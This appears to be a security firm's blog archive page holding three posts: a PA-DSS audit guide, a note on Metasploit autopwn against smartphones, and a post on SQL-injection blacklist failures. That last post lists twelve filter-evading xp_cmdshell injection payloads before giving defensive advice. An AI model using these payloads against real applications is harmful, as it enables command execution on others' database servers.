Back

IT Manager's guide to passing the PA-DSS Audit

One typical question NetSPI receives from IT managers is “What does PA-DSS entail?” Hopefully, this will give you some answers.

PA-DSS

PA-DSS is a set of security practices and requirements developed by the PCI Security Standards Council to “…enhance payment account data security by driving education and awareness of the PCI Security Standards.[1]” The goal of PA-DSS is to help software vendors and others develop secure payment applications that do not store prohibited data, such as full magnetic stripe, CVV2 or PIN data, and ensure their payment applications support compliance with the PCI DSS. Payment applications that are sold, distributed or licensed to third parties are subject to the PA-DSS requirements.[2] By ensuring the compliance of your application with PA-DSS requirements, your company   helps facilitate its customers’ PCI DSS compliance.

NetSPI’s Answer

NetSPI has developed a program guide to assist your company in getting payment applications validated. This guide prepares a company to get ready for the audit and allows them to better understand the requirements of the different pieces of the audit. These include the documentation requirements for the implementation guide, troubleshooting procedures, SDLC documentation including change control, vulnerability and software patching procedures and the training materials that are required.  It also goes into the topic of the interviews that will occur as well as the testing of the application. What the program guide does not do is tell the different people in the company what is expected of them before the audit, during audit and after the audit.  This validation process can be simple and easy or it can be long and tedious. Work with your auditor to get through the process, they have the experience to get you through the process.

Before the Audit

As a manager, there are processes that have to be planned for and started before the auditors come into your office to start the audit process. The application has to meet the PCI requirements, which include:

  • Do not retain full magnetic stripe, card validation code or value (CAV2, CID, CVC2, CVV2), or PIN block data
  • Protect stored cardholder data
  • Provide secure authentication features
  • Log payment application activity
  • Develop secure payment applications
  • Protect wireless transmissions
  • Test payment applications to address vulnerabilities
  • Facilitate secure network implementation
  • Cardholder data must never be stored on a server connected to the Internet
  • Facilitate secure remote software updates
  • Facilitate secure remote access to payment application
  • Encrypt sensitive traffic over public networks
  • Encrypt all non-console administrative access
  • Maintain instructional documentation and training programs for customers, resellers, and integrators

In addition to the application requirements, the documentation has to also be ready.The list of documentation includes:

  • Implementation guide – The most important document without which testing cannot start
  • Typical network deployment diagram and data flow diagram
  • SDLC documentation (coding standards, code review process, software testing procedures)
  • Development and test job descriptions
  • Change control procedures
  • Test/QA procedures
  • List of all custom application accounts (if applicable)
  • Web application testing procedures (if web-based application or web-based components)
  • Wireless configuration guidelines (if applicable)
  • Remote access documentation (if applicable)
  • Encryption methodology (key management, generation, storage, distribution)
  • Update process documentation
  • Documentation of remote transmission of cardholder data, such as IPSec, TLS, SSL
  • New security vulnerabilities identification process/policy documentation

In many instances, use of specific language within policies is required.  For example, the implementation guide requirements include required language, such as “Historical data (magnetic stripe data, card validation codes, PINs, or PIN blocks) MUST be removed for PCI compliance.” This wording is required by the PCI Council and if not included, can provide sufficient grounds for the rejection of the Report on Validation (ROV). NetSPI’s PA-DSS Program Guide has been developed expressly with intent of showing such working requirements. As shown in the list above, documentation requirements are not limited to the implementation guide and need to be completed before a ROV can be filed. It’s not enough to have processes in place, such as the security coding standards; they need to be formally documented. Make sure to review the documentation requirements to make sure they are up to date. The last but far from the least important part of the pre-audit process is to educate your employees on the PCI Council’s requirements for a payment application. They need to know that these requirements are not an optional part of the application and that they may be interviewed during the course of the audit. All team members should be familiar with established standards such as the SDLC documentation as well as be aware of the troubleshooting requirements as described in the process documentation.

Next Steps

The next blog entry will talk about what to expect during and after the audit.


[1] https://www.pcisecuritystandards.org/index.shtml [2] https://www.pcisecuritystandards.org/security_standards/pa_dss.shtml

Back

In Which a Smartphone is Pwnt, Thoroughly and Without Reason

Does your phone have a firewall?  Does it have antivirus?  Should it?  I’ll wager your laptop does.  That’s because your laptop faces the looming threat of attackers from the internet every time to connect to a network.  Additionally, any time you use a network, you expose yourself to the potential for a network level attack.  Everyone knows that an unprotected computer is pwnage waiting to happen.   So what about your phone? Your phone is connected to the internet 24/7.  What’s more, it lacks a lot of the controls that would normally be applied to a network computing device.  It has no firewall, no antivirus, and most users can’t even kill processes or modify the file system without voiding their warranty.  The user has to rely on the closed nature of the device, and hope there are no exploits roaming the wild.  This is paper-thin security at best, especially when you consider the trends in modern phone usage are pushing for more devices containing more sensitive data. So how does an attacker target a mobile device?  They don’t have to: given some recent developments in the Metasploit framework, they can initiate wide ranging automated attacks against anyone they can connect to.  Consider the open Wi-Fi network, such as at a coffee shop.  As customers sit down, and link up laptops and phones, an attacker keeps track of hosts joining the network.  Then, leveraging the power of the autopwn feature of Metasploit, an attacker can attempt any number of exploits against any number of hosts, smartphone or not.   Your laptop might withstand automated attacks because it has a firewall and antivirus.  Your phone doesn’t.  There is no “Do you want to allow this app to run?” There is no “Would you like Windows Firewall to allow access to this program?” That’s it.  An attacker now has access to your phone’s audio, camera, data access, and any stored credentials or other sensitive data.  Metasploit has payloads in development for both the iPhone and Android platforms that will give root access to the phone, pending a successful exploit.  Finding more exploits is only a matter of time.  So this brings me to my point: Should your phone have a firewall?

Back

SQL Injection: Death by Blacklist

No one can deny that SQL Injection is one of the biggest issues plaguing web applications today. However, there is still some ongoing debate around how to fix it. Of course, OWASP and the security community at large understand that whitelisting is a good place to start, but there are still a number of companies who have hunkered down in the blacklisting camp and are refusing to budge. For those who are out of the loop, whitelisting is a technique commonly used to for filtering content based on an approved character set. As a result, any characters not on the whitelist will be blocked. Blacklists work inversely, meaning any characters or groupings of characters that are included in the list will be blocked.

Blacklists essentially fail in the same way that traditional signature based anti-virus solutions do. Anything that is not in the library of “evil” signatures won’t be blocked. As a result, administrators and software venders are in a constant battle to maintain up–to-date blacklists. Unfortunately, blacklisting usually results in a lot of additional man hours and an application that is still vulnerable to advanced SQL injection attacks.

It is important for administrators to understand that, just because the attacks are advanced, the attacker may not be. There are many SQL injection tools freely available on the Internet that provide unskilled attackers with the means to take advantage of common application vulnerabilities. Additionally, administrators should know that many of these types of attacks are indiscriminant. Unskilled attackers often launch mass attacks that use search engines like Google to identify web applications that have common vulnerabilities that they would like to use for their own agendas.

In my experience, companies usually push for blacklisting solutions to fix SQL injection when they are low on time or money. It is true that, in some cases, it is more cost-effective to implement blacklists on existing network devices rather than to go back and actually make global changes to the application’s code base. However, what companies in that situation often forget is that most of the same network devices support web application firewall (WAF) modules that are capable of filtering using whitelists, as well.

Below are a few methods used by online attackers to bypass blacklist filters implemented to prevent SQL injection. Specifically, I’ve shown queries for executing the xp_cmshell extended stored procedure that is native to SQL Server via SQL injection. Don’t forget that many of these methods can be combined.

1. Standard SQL injection query using xp_cmdshell.

‘;exec xp_cmdshell 'dir';--

2. Using the escape character to bypass filters that replace ‘ with ‘ ‘.

‘;exec xp_cmdshell 'dir';-

3. Using upper and lower characters to bypass filters that are case sensitive. Note: The filtering may be case sensitive, but most SQL Server commands are not.

‘;exec xP_cMdsheLL 'dir';-

4. Using comments to avoid xp_cmdshell detection. Note: This method doesn’t work in SQL Server versions after 2000.

‘;ex/**/ec xp_cmds/**/hell ‘dir’;–

5. Using comments to avoid spaces. Note: This works with all versions of SQL Server.

‘;exec/**/xp_cmdshell/**/’dir’;–

6. Using concatenation to avoid xp_cmdshell detection.

‘;Declare @cmd as varchar(3000);Set @cmd =
‘x’+’p’+’_’+’c’+’m’+’d’+’s’+’h’+’e’+’l’+’l’+’/**/’+””+’d’+’i’+’r’+””;exec(@cmd);–

7. Using Base64 encoding to avoid xp_cmdshell detection. Note: I don’t believe that there is a native Base64 encode function in SQL Server, but there are many online and baked in to local proxies like Burp. If anyone knows of a native Base64 encode function let me know.

‘;DECLARE @data varchar(max), @XmlData xml;SET @data =
‘ZXhlYyBtYXN0ZXIuLnhwX2NtZHNoZWxsICdkaXIn’;SET @XmlData =
CAST(‘‘ + @data + ‘‘ as xml);SET @data = CONVERT(varchar(max),
@XmlData.value(‘(data)[1]’, ‘varbinary(max)’));exec (@data);–

8. Using char function encoding to avoid xp_cmdshell detection. Note: Encoding of characters can be done with the SELECT ASCII(‘T’) query. Also, I think the Firefox Hackbar add-on has an char encoder.

Declare @cmd as varchar(3000);Set @cmd =(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116)+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));EXEC(@cmd);–

9. Using Unicode nchar function encoding to avoid xp_cmdshell detection. Note: Unicode character encoding can be done with the SELECT UNICODE(‘a’); query.

Declare @cmd as nvarchar(3000);Set @cmd =(nchar(101)+nchar(120)+nchar(101)+nchar(99)+nchar(32)+nchar(109)+nchar(97)+nchar(115)+nchar(116)+nchar(101)+nchar(114)+nchar(46)+nchar(46)+nchar(120)+nchar(112)+nchar(95)+nchar(99)+nchar(109)+nchar(100)+nchar(115)+nchar(104)+nchar(101)+nchar(108)+nchar(108)+nchar(32)+nchar(39)+nchar(100)+nchar(105)+nchar(114)+nchar(39)+nchar(59));EXEC(@cmd);–

10. Using binary encoded ascii, and the CAST function to avoid xp_cmdshell detection. Note: Binary encoding can be done with the SELECT CAST(‘query’ as binary); query.

‘;Declare @cmd as varchar(3000);Set @cmd =
Ncast(0x78705F636D647368656C6C202764697227 as
varchar(3000));exec(@cmd);–

11. Using binary encoded ascii, and the CONVERT function to avoid xp_cmdshell and CAST detection. Note: Binary encoding can be done with the SELECT CONVERT (binary,’query’ ); query.

‘;Declare @cmd as varchar(3000);Set @cmd = 
convert(varchar(0),0x78705F636D647368656C6C202764697227);exec(@cmd);–

12. Using sp_sqlexec to avoid EXEC() detection. Note: Yes, I know this one is a little lame, but I like it when my lists end on an even number.

‘;Declare @cmd as varchar(3000);Set @cmd =
convert(varchar(0),0x78705F636D647368656C6C202764697227);exec
sp_sqlexec @cmd;–

I realize that blacklisting characters like “)”, “;“, and ”EXEC” would help prevent a lot of the injections listed above, but the point is that, with a little creativity, attackers can usually find a way around blacklists. For those of you who are interested, I’ve provided some high level steps for preventing SQL injection in web applications below.

  1. Convert all input into a single character set
  2. Put input through a whitelist filter using regular expressions
  3. Parameterize input
  4. Use stored procedures
  5. Apply least privileges to all stored procedures, database accounts, and service accounts

What it all boils down to is this, black lists help fight SQL injection problems, while white lists actually help fix them.

Even simpler: whitelists=GOOD; blacklists=PWNED

I would also like to give a shout out to Antti Rantasaari. I’ve work with him on many SQL Injection adventures, and he contributed some ideas to this blog such as number 7 on the list. Thanks Antti!

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X